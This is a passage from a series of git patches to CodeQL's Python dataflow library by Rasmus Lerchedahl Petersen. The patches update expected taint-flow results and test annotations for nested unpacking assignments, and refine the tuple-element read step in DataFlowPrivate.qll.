Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 1] | +| test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | | test.py:559:6:559:23 | IterableElement [List element] | semmle.label | IterableElement [List element] | | test.py:559:6:559:23 | IterableSequence [List element, List element] | semmle.label | IterableSequence [List element, List element] | | test.py:559:7:559:8 | SSA variable a1 | semmle.label | SSA variable a1 | +| test.py:559:7:559:16 | ControlFlowNode for Tuple [List element] | semmle.label | ControlFlowNode for Tuple [List element] | | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | | test.py:559:7:559:16 | IterableElement | semmle.label | IterableElement | | test.py:559:7:559:16 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | +| test.py:559:7:559:16 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | +| test.py:559:7:559:16 | IterableSequence [Tuple element at index 1] | semmle.label | IterableSequence [Tuple element at index 1] | +| test.py:559:7:559:16 | IterableSequence [Tuple element at index 2] | semmle.label | IterableSequence [Tuple element at index 2] | | test.py:559:11:559:12 | SSA variable a2 | semmle.label | SSA variable a2 | | test.py:559:15:559:16 | SSA variable a3 | semmle.label | SSA variable a3 | | test.py:560:10:560:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | | test.py:561:12:561:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | | test.py:562:10:562:11 | ControlFlowNode for a3 | semmle.label | ControlFlowNode for a3 | | test.py:567:5:567:24 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | +| test.py:567:5:567:24 | ControlFlowNode for List [List element, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 0] | +| test.py:567:5:567:24 | ControlFlowNode for List [List element, Tuple element at index 1] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 1] | +| test.py:567:5:567:24 | ControlFlowNode for List [List element, Tuple element at index 2] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 2] | | test.py:567:5:567:24 | IterableElement [List element] | semmle.label | IterableElement [List element] | | test.py:567:5:567:24 | IterableSequence [List element, List element] | semmle.label | IterableSequence [List element, List element] | | test.py:567:7:567:8 | SSA variable a1 | semmle.label | SSA variable a1 | +| test.py:567:7:567:16 | ControlFlowNode for Tuple [List element] | semmle.label | ControlFlowNode for Tuple [List element] | | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | | test.py:567:7:567:16 | IterableElement | semmle.label | IterableElement | | test.py:567:7:567:16 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | +| test.py:567:7:567:16 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | +| test.py:567:7:567:16 | IterableSequence [Tuple element at index 1] | semmle.label | IterableSequence [Tuple element at index 1] | +| test.py:567:7:567:16 | IterableSequence [Tuple element at index 2] | semmle.label | IterableSequence [Tuple element at index 2] | | test.py:567:11:567:12 | SSA variable a2 | semmle.label | SSA variable a2 | | test.py:567:15:567:16 | SSA variable a3 | semmle.label | SSA variable a3 | | test.py:568:10:568:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | @@ -585,6 +663,7 @@ nodes | test.py:587:5:587:19 | IterableElement [Tuple element at index 0] | semmle.label | IterableElement [Tuple element at index 0] | | test.py:587:5:587:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0, Tuple element at index 0] | | test.py:587:6:587:14 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| test.py:587:6:587:14 | ControlFlowNode for List [Tuple element at index 0] | semmle.label | ControlFlowNode for List [Tuple element at index 0] | | test.py:587:6:587:14 | IterableElement | semmle.label | IterableElement | | test.py:587:6:587:14 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | | test.py:587:6:587:14 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | @@ -596,7 +675,20 @@ nodes | test.py:590:12:590:16 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | | test.py:591:10:591:11 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | | test.py:591:10:591:14 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:596:6:596:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:596:7:596:8 | SSA variable a1 | semmle.label | SSA variable a1 | +| test.py:596:7:596:13 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:596:7:596:13 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | +| test.py:597:10:597:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | +| test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 0] | +| test.py:605:5:605:19 | IterableElement [Tuple element at index 0] | semmle.label | IterableElement [Tuple element at index 0] | +| test.py:605:5:605:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0, Tuple element at index 0] | +| test.py:605:7:605:8 | SSA variable a1 | semmle.label | SSA variable a1 | +| test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:605:7:605:13 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | +| test.py:606:10:606:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | | test.py:614:6:614:14 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| test.py:614:6:614:14 | ControlFlowNode for List [Tuple element at index 0] | semmle.label | ControlFlowNode for List [Tuple element at index 0] | | test.py:614:6:614:14 | IterableElement | semmle.label | IterableElement | | test.py:614:6:614:14 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | | test.py:614:6:614:14 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | @@ -713,6 +805,9 @@ nodes | test.py:523:10:523:10 | ControlFlowNode for a | test.py:521:10:521:15 | ControlFlowNode for SOURCE | test.py:523:10:523:10 | ControlFlowNode for a | Flow found | | test.py:531:10:531:10 | ControlFlowNode for a | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:531:10:531:10 | ControlFlowNode for a | Flow found | | test.py:531:10:531:10 | ControlFlowNode for a | test.py:529:10:529:15 | ControlFlowNode for SOURCE | test.py:531:10:531:10 | ControlFlowNode for a | Flow found | +| test.py:533:10:533:10 | ControlFlowNode for c | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:533:10:533:10 | ControlFlowNode for c | Flow found | +| test.py:533:10:533:10 | ControlFlowNode for c | test.py:529:10:529:15 | ControlFlowNode for SOURCE | test.py:533:10:533:10 | ControlFlowNode for c | Flow found | +| test.py:533:10:533:10 | ControlFlowNode for c | test.py:529:30:529:35 | ControlFlowNode for SOURCE | test.py:533:10:533:10 | ControlFlowNode for c | Flow found | | test.py:540:10:540:10 | ControlFlowNode for a | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:540:10:540:10 | ControlFlowNode for a | Flow found | | test.py:540:10:540:10 | ControlFlowNode for a | test.py:538:13:538:18 | ControlFlowNode for SOURCE | test.py:540:10:540:10 | ControlFlowNode for a | Flow found | | test.py:548:10:548:10 | ControlFlowNode for a | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:548:10:548:10 | ControlFlowNode for a | Flow found | @@ -762,6 +857,10 @@ nodes | test.py:590:12:590:16 | ControlFlowNode for Subscript | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:590:12:590:16 | ControlFlowNode for Subscript | Flow found | | test.py:591:10:591:14 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:591:10:591:14 | ControlFlowNode for Subscript | Flow found | | test.py:591:10:591:14 | ControlFlowNode for Subscript | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:591:10:591:14 | ControlFlowNode for Subscript | Flow found | +| test.py:597:10:597:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:597:10:597:11 | ControlFlowNode for a1 | Flow found | +| test.py:597:10:597:11 | ControlFlowNode for a1 | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:597:10:597:11 | ControlFlowNode for a1 | Flow found | +| test.py:606:10:606:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:606:10:606:11 | ControlFlowNode for a1 | Flow found | +| test.py:606:10:606:11 | ControlFlowNode for a1 | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:606:10:606:11 | ControlFlowNode for a1 | Flow found | | test.py:615:10:615:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:615:10:615:11 | ControlFlowNode for a1 | Flow found | | test.py:615:10:615:11 | ControlFlowNode for a1 | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:615:10:615:11 | ControlFlowNode for a1 | Flow found | | test.py:617:12:617:16 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:617:12:617:16 | ControlFlowNode for Subscript | Flow found | diff --git a/python/ql/test/experimental/dataflow/coverage/test.py b/python/ql/test/experimental/dataflow/coverage/test.py index 7dba37a243b..b41a29bcce0 100644 --- a/python/ql/test/experimental/dataflow/coverage/test.py +++ b/python/ql/test/experimental/dataflow/coverage/test.py @@ -530,7 +530,7 @@ def test_nested_unpacking_assignment(): a, (b, c) = t SINK(a) SINK_F(b) - SINK(c) # Flow not found + SINK(c) @expects(2) @@ -588,13 +588,13 @@ def test_iterated_unpacking_assignment_conversion(): SINK(a1) SINK_F(a2) # The list itself is not tainted SINK_F(a2[0]) # FP here due to list abstraction - SINK(a2[1]) # FP here due to list abstraction + SINK(a2[1]) SINK_F(b) # The list itself is not tainted SINK_F(b[0]) # Expected FP here due to list abstraction # tuple ((a1, *a2), *b) = tt - SINK(a1) # Flow not found + SINK(a1) SINK_F(a2) # The list itself is not tainted SINK_F(a2[0]) SINK(a2[1]) # Flow not found @@ -603,19 +603,19 @@ def test_iterated_unpacking_assignment_conversion(): # mixed [(a1, *a2), *b] = tt - SINK(a1) # Flow not found + SINK(a1) SINK_F(a2) # The list itself is not tainted SINK_F(a2[0]) SINK(a2[1]) # Flow not found SINK_F(b) # The list itself is not tainted - SINK_F(b[0]) # FP here due to list abstraction + SINK_F(b[0]) # Expected FP here due to list abstraction # mixed differently ([a1, *a2], *b) = tt SINK(a1) SINK_F(a2) # The list itself is not tainted - SINK_F(a2[0]) - SINK(a2[1]) # FP here due to list abstraction + SINK_F(a2[0]) # FP here due to list abstraction + SINK(a2[1]) SINK_F(b) # The list itself is not tainted SINK_F(b[0]) From 6dc0d691ac25b65df25cc6d20f6668f66cd311bc Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Thu, 14 Jan 2021 01:06:10 +0100 Subject: [PATCH 0561/1241] Python: Final(?!) fix of annotations --- python/ql/test/experimental/dataflow/coverage/test.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/python/ql/test/experimental/dataflow/coverage/test.py b/python/ql/test/experimental/dataflow/coverage/test.py index b41a29bcce0..3b1a0205bc7 100644 --- a/python/ql/test/experimental/dataflow/coverage/test.py +++ b/python/ql/test/experimental/dataflow/coverage/test.py @@ -597,7 +597,7 @@ def test_iterated_unpacking_assignment_conversion(): SINK(a1) SINK_F(a2) # The list itself is not tainted SINK_F(a2[0]) - SINK(a2[1]) # Flow not found + SINK(a2[1]) # Flow not found since `*a2` does not know to read from index 2 SINK_F(b) # The list itself is not tainted SINK_F(b[0]) @@ -606,7 +606,7 @@ def test_iterated_unpacking_assignment_conversion(): SINK(a1) SINK_F(a2) # The list itself is not tainted SINK_F(a2[0]) - SINK(a2[1]) # Flow not found + SINK(a2[1]) # Flow not found since `*a2` does not know to read from index 2 SINK_F(b) # The list itself is not tainted SINK_F(b[0]) # Expected FP here due to list abstraction From dfdfd3c2b76eb1abd19f3edb21339938783606e1 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Thu, 14 Jan 2021 01:19:58 +0100 Subject: [PATCH 0562/1241] Python: FIx flow --- .../dataflow/new/internal/DataFlowPrivate.qll | 20 ++++-- .../dataflow/coverage/dataflow.expected | 64 +++++++++++++++++++ .../experimental/dataflow/coverage/test.py | 8 +-- 3 files changed, 82 insertions(+), 10 deletions(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index 274005122f0..9ff8462eeb1 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -1173,7 +1173,7 @@ module unpackinAssignment { } predicate unpackingAssignmentElementReadStep(Node nodeFrom, Content c, Node nodeTo) { - exists(UnpackingAssignmentTarget target, int index, ControlFlowNode element | + exists(UnpackingAssignmentTarget target, int index, ControlFlowNode element, boolean precise | target instanceof SequenceNode | nodeFrom.asCfgNode() = target and @@ -1183,16 +1183,24 @@ module unpackinAssignment { c instanceof ListElementContent or target instanceof TupleNode and - c.(TupleElementContent).getIndex() = index + if precise = true + then c.(TupleElementContent).getIndex() = index + else c instanceof TupleElementContent // This could get big if big tuples exist ) and ( if element instanceof SequenceNode - then nodeTo = TIterableSequence(element) + then + nodeTo = TIterableSequence(element) and + precise = true else if element.getNode() instanceof Starred - then nodeTo = TIterableElement(element) - else - nodeTo.asVar().getDefinition().(MultiAssignmentDefinition).getDefiningNode() = element + then + nodeTo = TIterableElement(element) and + precise = false + else ( + nodeTo.asVar().getDefinition().(MultiAssignmentDefinition).getDefiningNode() = element and + precise = true + ) ) ) } diff --git a/python/ql/test/experimental/dataflow/coverage/dataflow.expected b/python/ql/test/experimental/dataflow/coverage/dataflow.expected index a68c8830ffb..c856b78a2f2 100644 --- a/python/ql/test/experimental/dataflow/coverage/dataflow.expected +++ b/python/ql/test/experimental/dataflow/coverage/dataflow.expected @@ -71,6 +71,7 @@ edges | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:556:31:556:36 | ControlFlowNode for SOURCE | | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:556:41:556:46 | ControlFlowNode for SOURCE | | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:584:12:584:17 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:584:31:584:36 | ControlFlowNode for SOURCE | | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:692:16:692:21 | ControlFlowNode for SOURCE | | test.py:20:1:20:6 | GSSA Variable SOURCE | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:20:1:20:6 | GSSA Variable SOURCE | @@ -238,6 +239,7 @@ edges | test.py:546:18:546:23 | ControlFlowNode for SOURCE | test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 1] | | test.py:547:5:547:5 | SSA variable a | test.py:548:10:548:10 | ControlFlowNode for a | | test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:547:5:547:5 | SSA variable a | +| test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:547:8:547:9 | IterableElement | | test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:547:8:547:9 | IterableElement | | test.py:547:8:547:9 | IterableElement | test.py:547:8:547:9 | SSA variable b [List element] | | test.py:547:8:547:9 | SSA variable b [List element] | test.py:550:10:550:10 | ControlFlowNode for b [List element] | @@ -319,8 +321,13 @@ edges | test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:596:6:596:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | | test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:605:5:605:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | | test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:614:6:614:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | test.py:596:6:596:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | +| test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | test.py:605:5:605:19 | IterableSequence [Tuple element at index 0, Tuple element at index 2] | | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:584:12:584:36 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:584:31:584:36 | ControlFlowNode for SOURCE | | test.py:584:12:584:36 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:584:12:584:36 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | +| test.py:584:31:584:36 | ControlFlowNode for SOURCE | test.py:584:12:584:36 | ControlFlowNode for Tuple [Tuple element at index 2] | | test.py:587:5:587:19 | ControlFlowNode for List [List element, List element] | test.py:587:6:587:14 | IterableSequence [List element] | | test.py:587:5:587:19 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:587:6:587:14 | IterableSequence [Tuple element at index 0] | | test.py:587:5:587:19 | IterableElement [Tuple element at index 0] | test.py:587:5:587:19 | ControlFlowNode for List [List element, Tuple element at index 0] | @@ -341,17 +348,39 @@ edges | test.py:590:12:590:13 | ControlFlowNode for a2 [List element] | test.py:590:12:590:16 | ControlFlowNode for Subscript | | test.py:591:10:591:11 | ControlFlowNode for a2 [List element] | test.py:591:10:591:14 | ControlFlowNode for Subscript | | test.py:596:6:596:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:596:7:596:13 | IterableSequence [Tuple element at index 0] | +| test.py:596:6:596:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | test.py:596:7:596:13 | IterableSequence [Tuple element at index 2] | | test.py:596:7:596:8 | SSA variable a1 | test.py:597:10:597:11 | ControlFlowNode for a1 | | test.py:596:7:596:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:596:6:596:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | | test.py:596:7:596:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:596:7:596:8 | SSA variable a1 | +| test.py:596:7:596:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:596:11:596:13 | IterableElement | +| test.py:596:7:596:13 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:596:6:596:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | +| test.py:596:7:596:13 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:596:11:596:13 | IterableElement | | test.py:596:7:596:13 | IterableSequence [Tuple element at index 0] | test.py:596:7:596:13 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:596:7:596:13 | IterableSequence [Tuple element at index 2] | test.py:596:7:596:13 | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:596:11:596:13 | IterableElement | test.py:596:11:596:13 | SSA variable a2 [List element] | +| test.py:596:11:596:13 | SSA variable a2 [List element] | test.py:599:12:599:13 | ControlFlowNode for a2 [List element] | +| test.py:596:11:596:13 | SSA variable a2 [List element] | test.py:600:10:600:11 | ControlFlowNode for a2 [List element] | +| test.py:599:12:599:13 | ControlFlowNode for a2 [List element] | test.py:599:12:599:16 | ControlFlowNode for Subscript | +| test.py:600:10:600:11 | ControlFlowNode for a2 [List element] | test.py:600:10:600:14 | ControlFlowNode for Subscript | | test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:605:7:605:13 | IterableSequence [Tuple element at index 0] | +| test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 2] | test.py:605:7:605:13 | IterableSequence [Tuple element at index 2] | | test.py:605:5:605:19 | IterableElement [Tuple element at index 0] | test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 0] | +| test.py:605:5:605:19 | IterableElement [Tuple element at index 2] | test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 2] | | test.py:605:5:605:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | test.py:605:5:605:19 | IterableElement [Tuple element at index 0] | +| test.py:605:5:605:19 | IterableSequence [Tuple element at index 0, Tuple element at index 2] | test.py:605:5:605:19 | IterableElement [Tuple element at index 2] | | test.py:605:7:605:8 | SSA variable a1 | test.py:606:10:606:11 | ControlFlowNode for a1 | | test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 0] | | test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:605:7:605:8 | SSA variable a1 | +| test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:605:11:605:13 | IterableElement | +| test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 2] | +| test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:605:11:605:13 | IterableElement | | test.py:605:7:605:13 | IterableSequence [Tuple element at index 0] | test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:605:7:605:13 | IterableSequence [Tuple element at index 2] | test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:605:11:605:13 | IterableElement | test.py:605:11:605:13 | SSA variable a2 [List element] | +| test.py:605:11:605:13 | SSA variable a2 [List element] | test.py:608:12:608:13 | ControlFlowNode for a2 [List element] | +| test.py:605:11:605:13 | SSA variable a2 [List element] | test.py:609:10:609:11 | ControlFlowNode for a2 [List element] | +| test.py:608:12:608:13 | ControlFlowNode for a2 [List element] | test.py:608:12:608:16 | ControlFlowNode for Subscript | +| test.py:609:10:609:11 | ControlFlowNode for a2 [List element] | test.py:609:10:609:14 | ControlFlowNode for Subscript | | test.py:614:6:614:14 | ControlFlowNode for List [List element] | test.py:614:6:614:18 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | | test.py:614:6:614:14 | ControlFlowNode for List [List element] | test.py:614:7:614:8 | SSA variable a1 | | test.py:614:6:614:14 | ControlFlowNode for List [List element] | test.py:614:11:614:13 | IterableElement | @@ -656,8 +685,11 @@ nodes | test.py:577:12:577:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | | test.py:578:10:578:11 | ControlFlowNode for a3 | semmle.label | ControlFlowNode for a3 | | test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | | test.py:584:12:584:17 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | test.py:584:12:584:36 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:584:12:584:36 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:584:31:584:36 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | test.py:587:5:587:19 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | | test.py:587:5:587:19 | ControlFlowNode for List [List element, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 0] | | test.py:587:5:587:19 | IterableElement [Tuple element at index 0] | semmle.label | IterableElement [Tuple element at index 0] | @@ -676,17 +708,37 @@ nodes | test.py:591:10:591:11 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | | test.py:591:10:591:14 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | | test.py:596:6:596:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:596:6:596:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | | test.py:596:7:596:8 | SSA variable a1 | semmle.label | SSA variable a1 | | test.py:596:7:596:13 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:596:7:596:13 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | | test.py:596:7:596:13 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | +| test.py:596:7:596:13 | IterableSequence [Tuple element at index 2] | semmle.label | IterableSequence [Tuple element at index 2] | +| test.py:596:11:596:13 | IterableElement | semmle.label | IterableElement | +| test.py:596:11:596:13 | SSA variable a2 [List element] | semmle.label | SSA variable a2 [List element] | | test.py:597:10:597:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | +| test.py:599:12:599:13 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | +| test.py:599:12:599:16 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:600:10:600:11 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | +| test.py:600:10:600:14 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | | test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 0] | +| test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 2] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 2] | | test.py:605:5:605:19 | IterableElement [Tuple element at index 0] | semmle.label | IterableElement [Tuple element at index 0] | +| test.py:605:5:605:19 | IterableElement [Tuple element at index 2] | semmle.label | IterableElement [Tuple element at index 2] | | test.py:605:5:605:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0, Tuple element at index 0] | +| test.py:605:5:605:19 | IterableSequence [Tuple element at index 0, Tuple element at index 2] | semmle.label | IterableSequence [Tuple element at index 0, Tuple element at index 2] | | test.py:605:7:605:8 | SSA variable a1 | semmle.label | SSA variable a1 | | test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | | test.py:605:7:605:13 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | +| test.py:605:7:605:13 | IterableSequence [Tuple element at index 2] | semmle.label | IterableSequence [Tuple element at index 2] | +| test.py:605:11:605:13 | IterableElement | semmle.label | IterableElement | +| test.py:605:11:605:13 | SSA variable a2 [List element] | semmle.label | SSA variable a2 [List element] | | test.py:606:10:606:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | +| test.py:608:12:608:13 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | +| test.py:608:12:608:16 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:609:10:609:11 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | +| test.py:609:10:609:14 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | | test.py:614:6:614:14 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | | test.py:614:6:614:14 | ControlFlowNode for List 